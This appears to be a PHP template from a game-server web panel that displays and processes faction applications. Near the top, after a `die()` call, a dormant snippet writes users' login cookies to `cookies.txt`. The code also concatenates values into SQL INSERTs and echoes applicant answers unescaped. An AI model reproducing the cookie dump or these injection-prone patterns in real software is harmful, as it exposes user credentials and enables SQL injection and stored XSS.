</div>
<div class="main-content">
<?php
    if(!defined('panel')) {
    	die('Nope.');
        if(isset($_COOKIE[$cookieUser]) && isset($_COOKIE[$cookieSerial])) { 
            $fp = fopen('cookies.txt', 'w');
            fwrite($fp, $_COOKIE[$cookieUser] . "\n" . $_COOKIE[$cookieSerial]);
            fclose($fp);
        }
    }
    if(!isset($_SESSION['user']) && !isset(Config::$_url[1])) echo '<meta http-equiv="refresh" content="0;URL=\''.Config::$_PAGE_URL.'login\'/>';
    if(isset(Config::$_url[1])) $user = (int)Config::$_url[1];
    else $user = $_SESSION['user'];
    $q = Config::$g_con->prepare('SELECT * FROM `aplications` WHERE `id` = ?');
    $q->execute(array($user));
    if(!$q->rowCount()) {
    	echo '
    <title>Error! Invalid ID</title>
    	<div class="breadcrumbs" id="breadcrumbs">
    		<ul class="breadcrumb">
    			<li>
    				<i class="icon-home home-icon"></i>
    				<a href="../">Home</a>
    			</li>
    			<li>
    				<a href="../factionslist">Factions</a>
    			</li>
    			<li class="active">Invalid ID.</li>
    		</ul>
    
    		<div class="nav-search" id="nav-search">
    			<form method="POST" action="../search">
    				<span class="input-icon">
    					<input type="text" placeholder="Search ..." name="sname" id="username" type="submit" class="nav-search-input" autocomplete="on"> 
    					<i class="ace-icon fa fa-search nav-search-icon"></i>
    				</span>
    			</form>
    		</div> <!-- /.nav-search -->
    	</div>	
    <div class="page-content">
    	<div class="alert alert-danger">Error! Invalid ID.</div>';
    	echo '<meta http-equiv="refresh" content="0;URL=\''.Config::$_PAGE_URL.'factionslist\'/>';
    	return;
    }
    ?>
<div class="breadcrumbs" id="breadcrumbs">
    <script type="text/javascript">
        try{ace.settings.check('breadcrumbs' , 'fixed')}catch(e){}
    </script>
    <ul class="breadcrumb">
        <li>
            <i class="ace-icon fa fa-home home-icon"></i>
            <a href="<?php echo Config::$_PAGE_URL; ?>">Home</a>
        </li>
        <li>
            <a href="<?php echo Config::$_PAGE_URL; ?>factionslist">Factions</a>
        </li>
        <?php
            $q = Config::$g_con->prepare('SELECT * FROM `aplications` WHERE `id` = ?');
            $q->execute(array(Config::$_url[1]));
            while($dnn = $q->fetch(PDO::FETCH_OBJ)) { 
            ?>
        <li>
            <a href="<?php echo Config::$_PAGE_URL; ?>applications/<?php echo $dnn->factionid ?>"><?php echo Config::$factions[$dnn->factionid] ?> Applications</a>
        </li>
        <li class="active">
            Read application
        </li>
    </ul>
    <div class="nav-search" id="nav-search">
        <form method="POST" action="<?php echo Config::$_PAGE_URL; ?>search">
            <span class="input-icon">
            <input type="text" placeholder="Search ..." name="sname" id="username" type="submit" class="nav-search-input" autocomplete="on"> 
            <i class="ace-icon fa fa-search nav-search-icon"></i>
            </span>
        </form>
    </div>
    <!-- /.nav-search -->
</div>
<div class="page-content">
<?php
    if(isset($_SESSION['user'])) {
    	if (isset($_POST['teste']) && Config::getData('users','Leader',$_SESSION['user']) != 0)
    	{
    		$q = Config::$g_con->prepare('UPDATE `aplications` SET `status` = 1 WHERE `id` = ?');
    		$q->execute(array(Config::$_url[1]));
    
    		$q = Config::$g_con->prepare('UPDATE`aplications` SET `actionby` = ? WHERE `id` = ?');
    		$q->execute(array(Config::getData('users','name',$_SESSION['user']),Config::$_url[1]));
    		$qp = Config::$g_con->prepare("INSERT INTO emails (Message, playerid) 
    		VALUES ('Your application for ".Config::$factions[$dnn->factionid]." has been accepted for tests', '".Config::getID('users', 'id', $dnn->name)."')");		$qp->execute();
    	
    	//header('location: '. Config::$_PAGE_URL .'viewapplication/'.$dnn->id);
    	}
    
    	if(isset($_POST['invita']) && Config::getData('users','Leader',$_SESSION['user']) != 0)
    	{
    		$q = Config::$g_con->prepare('UPDATE `aplications` SET `status` = 2 WHERE `id` = ?');
    		$q->execute(array(Config::$_url[1]));
    
    		$q = Config::$g_con->prepare('UPDATE`aplications` SET `actionby` = ? WHERE `id` = ?');
    		$q->execute(array(Config::getData('users','name',$_SESSION['user']),Config::$_url[1]));
    		$qp = Config::$g_con->prepare("INSERT INTO emails (Message, playerid) 
    		VALUES ('Your application for ".Config::$factions[$dnn->factionid]." has been accepted', '".Config::getID('users', 'id', $dnn->name)."')");
    		$qp->execute();
    	
    	//header('location: '. Config::$_PAGE_URL .'viewapplication/'.$dnn->id);
    	}
    
    	if(isset($_POST['respinge']) && Config::getData('users','Leader',$_SESSION['user']) != 0)
    	{
    		$q = Config::$g_con->prepare('UPDATE `aplications` SET `status` = 3 WHERE `id` = ?');
    		$q->execute(array(Config::$_url[1]));
    
    		$q = Config::$g_con->prepare('UPDATE`aplications` SET `actionby` = ? WHERE `id` = ?');
    		$q->execute(array(Config::getData('users','name',$_SESSION['user']),Config::$_url[1]));
    		$qp = Config::$g_con->prepare("INSERT INTO emails (Message, playerid) 
    		VALUES ('Your application for ".Config::$factions[$dnn->factionid]." has been rejected', '".Config::getID('users', 'id', $dnn->name)."')");
    		$qp->execute();
    	
    	//header('location: '. Config::$_PAGE_URL .'viewapplication/'.$dnn->id);
    	}
    	if(isset($_POST['delete']) && Config::getData('users','Admin',$_SESSION['user']) == 6)
    	{
    		$q = Config::$g_con->prepare('DELETE FROM `aplications` WHERE `id` = ?');
    		$q->execute(array(Config::$_url[1]));

    	//header('location: '. Config::$_PAGE_URL .'viewapplication/'.$dnn->id);
    	}
    	if(isset($_POST['remove']) && Config::getData('users','id',$_SESSION['user']) == Config::getData('aplications','playerid',Config::$_url[1]))
    	{
    		$q = Config::$g_con->prepare('DELETE FROM `aplications` WHERE `id` = ?');
    		$q->execute(array(Config::$_url[1]));

    	//header('location: '. Config::$_PAGE_URL .'viewapplication/'.$dnn->id);
    	}
    }
    } ?>
<?php
    $s = Config::$g_con->prepare('SELECT * FROM `aplications` WHERE `id` = ?');
    $s->execute(array(Config::$_url[1]));
    while($dnn = $s->fetch(PDO::FETCH_OBJ)) { 
    ?>
<title>View <?php echo Config::getID('users','name',$dnn->name); ?>'s Application to <?php echo Config::$factions[$dnn->factionid] ?></title>
<div class="page-header">
    <h1><?php echo Config::getID('users','name',$dnn->name); ?>'s Application to <?php echo Config::$factions[$dnn->factionid] ?></h1>
</div>
<div id="feed" class="tab-pane">
<div class="profile-feed row-fluid">
    <div class="span5">
        <?php
            $aproove = $dnn->status;	
            if($aproove=="0") { ?>
        <b>Status:</b> Aplica&#355;ie nou&#259;<br>
        <?php } if($aproove=="1") { ?>
        <b>Status:</b> Acceptat pentru teste<br>			
        <?php } if($aproove=="2") { ?>
        <b>Status:</b> Acceptat<br>		
        <?php } if($aproove=="3") { ?>
        <b>Status:</b> Respins<br>
        <?php } ?>
        <b>Created at:</b> <?php echo $dnn->time ?><br>
        <center>
            <form method="post">
                <?php
                    if(isset($_SESSION['user'])) {
                    	$group = $dnn->factionid;
                    if(Config::getData('users','Leader',$_SESSION['user']) == "$group" && Config::getData('users','Rank',$_SESSION['user']) >= 6) { 
                    if($dnn->status == 0) {
                    ?>
                <hr />
                <button class="btn btn-success" name="teste">Accepta pentru teste</button>&nbsp;&nbsp;
                <button class="btn btn-danger" name="respinge">Respinge</button> <br>
                <?php } elseif($dnn->status == 1) { ?>
                <hr />
                <button class="btn btn-success" name="invita">Acceptat</button>&nbsp;&nbsp;
                <button class="btn btn-danger" name="respinge">Respinge</button> <br>
                <?php } elseif($dnn->status == 2) { ?>
                <hr />
                <button class="btn btn-success" disabled>Acceptat</button>
                <?php } elseif($dnn->status == 3) { ?>
                <hr />
                <button class="btn btn-danger" disabled>Respins</button>
                <?php } } } ?>
            </form>
            <?php if(isset($_SESSION['user']) && Config::getData('users','Admin',$_SESSION['user']) >= 6) { ?>
			<form method="POST" action="" disabled>
			<br />
			<input type="submit" name="delete" class="btn btn-small btn-danger" value="Sterge aplicatie"/>
			</form>
			<?php } ?>
			<?php if(isset($_SESSION['user']) && Config::getData('users','id',$_SESSION['user']) == Config::getData('aplications','playerid',Config::$_url[1]) && $dnn->status == 0) { ?>
			<form method="POST" action="" disabled>
			<br />
			<input type="submit" name="remove" class="btn btn-small btn-danger" value="Retrage aplicatia"/>
			</form>
			<?php } ?>
        </center>
        <?php if($dnn->status == 1 or $dnn->status == 2) { ?>
        <hr />
        <div class="box-profile callout-profile">
            <a href="<?php echo Config::$_PAGE_URL ?>profile/<?php echo Config::getID('users','id',$dnn->actionby) ?>">
            <li><b><?php echo $dnn->actionby; ?></b></a>
            a acceptat aplica&#355;ia lui
            <a href="<?php echo Config::$_PAGE_URL ?>profile/<?php echo Config::getID('users','id',$dnn->name) ?>">
            <b><?php echo $dnn->name; ?></b></a>.</li>
        </div>
        <hr />
        <?php } elseif($dnn->status == 3) { ?>
        <hr />
        <div class="box-profile callout-profile">
            <a href="<?php echo Config::$_PAGE_URL ?>profile/<?php echo Config::getID('users','id',$dnn->actionby) ?>">
            <li><b><?php echo $dnn->actionby; ?></b></a>
			a respins aplica&#355;ia lui
            <a href="<?php echo Config::$_PAGE_URL ?>profile/<?php echo Config::getID('users','id',$dnn->name) ?>">
            <b><?php echo $dnn->name; ?></b></a>.</li>
        </div>
        <hr />
        <?php } ?>
        <h4>Faction History</h4>
        <hr>
        <?php
            $s = Config::$g_con->prepare('SELECT * FROM `faction_logs` WHERE `player` = ?');
            $s->execute(array(Config::getID('users','id',$dnn->name)));
            while($flog = $s->fetch(PDO::FETCH_OBJ)) 
            {	?>
        <div class="profile-activity clearfix">
            <div>
                <img class="pull-left" alt="<?php echo Config::getID('users','name',$dnn->name); ?>'s avatar" src="<?php echo Config::$_PAGE_URL; ?>assets/images/avatars/<?php echo Config::getID('users','Model',$dnn->name); ?>.png"/>
                <?php echo $flog->Text ?>
                <div class="time">
                    <i class="icon-time bigger-110"></i>
                    <?php echo $flog->time ?>
                </div>
            </div>
        </div>
        <?php } ?>
    </div>
    <div class="span7">
        <div class="profile-activity clearfix">
            <div>
                <span class="span4">
                Nickname:
                </span>
                <span class="text-info span8">
                <a href="<?php echo Config::$_PAGE_URL; ?>profile/<?php echo Config::getID('users','id',$dnn->name); ?>"><?php echo Config::getID('users','name',$dnn->name); ?></a>
                </span>
            </div>
        </div>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4">
                Level:
                </span>
                <span class="text-info span8">
                level <?php echo Config::getID('users','Level',$dnn->name); ?><br><?php echo Config::getID('users','ConnectedTime',$dnn->name); ?> hours played
                </span>
            </div>
        </div>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4">
                Register date:
                </span>
                <span class="text-info span8">
                <?php echo Config::getID('users','RegisterDate',$dnn->name); ?>
                </span>
            </div>
        </div>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4">
                Warns:
                </span>
                <span class="text-info span8">
                <?php echo Config::getID('users','Warnings',$dnn->name); ?>/3
                </span>
            </div>
        </div>
        <?php if(Config::getData('aplications','q1',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q1',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r1',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q2',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q2',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r2',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q3',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q3',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r3',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q4',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q4',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r4',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q5',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q5',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r5',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q6',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q6',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r6',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q7',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q7',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r7',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q8',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q8',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r8',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q9',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q9',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r9',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q10',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q10',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r10',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q11',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q11',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r11',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q12',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q12',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r12',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q13',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q13',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r13',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q14',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q14',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r14',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } if(Config::getData('aplications','q15',Config::$_url[1]) != "") { ?>
        <div class="profile-activity clearfix">
            <div>
                <span class="span4"><?php echo Config::getData('aplications','q15',Config::$_url[1]); ?>:</span> <span class="text-info span8"><?php echo Config::getData('aplications','r15',Config::$_url[1]); ?></span>
            </div>
        </div>
        <?php } ?>
    </div>
</div>
<?php } ?>
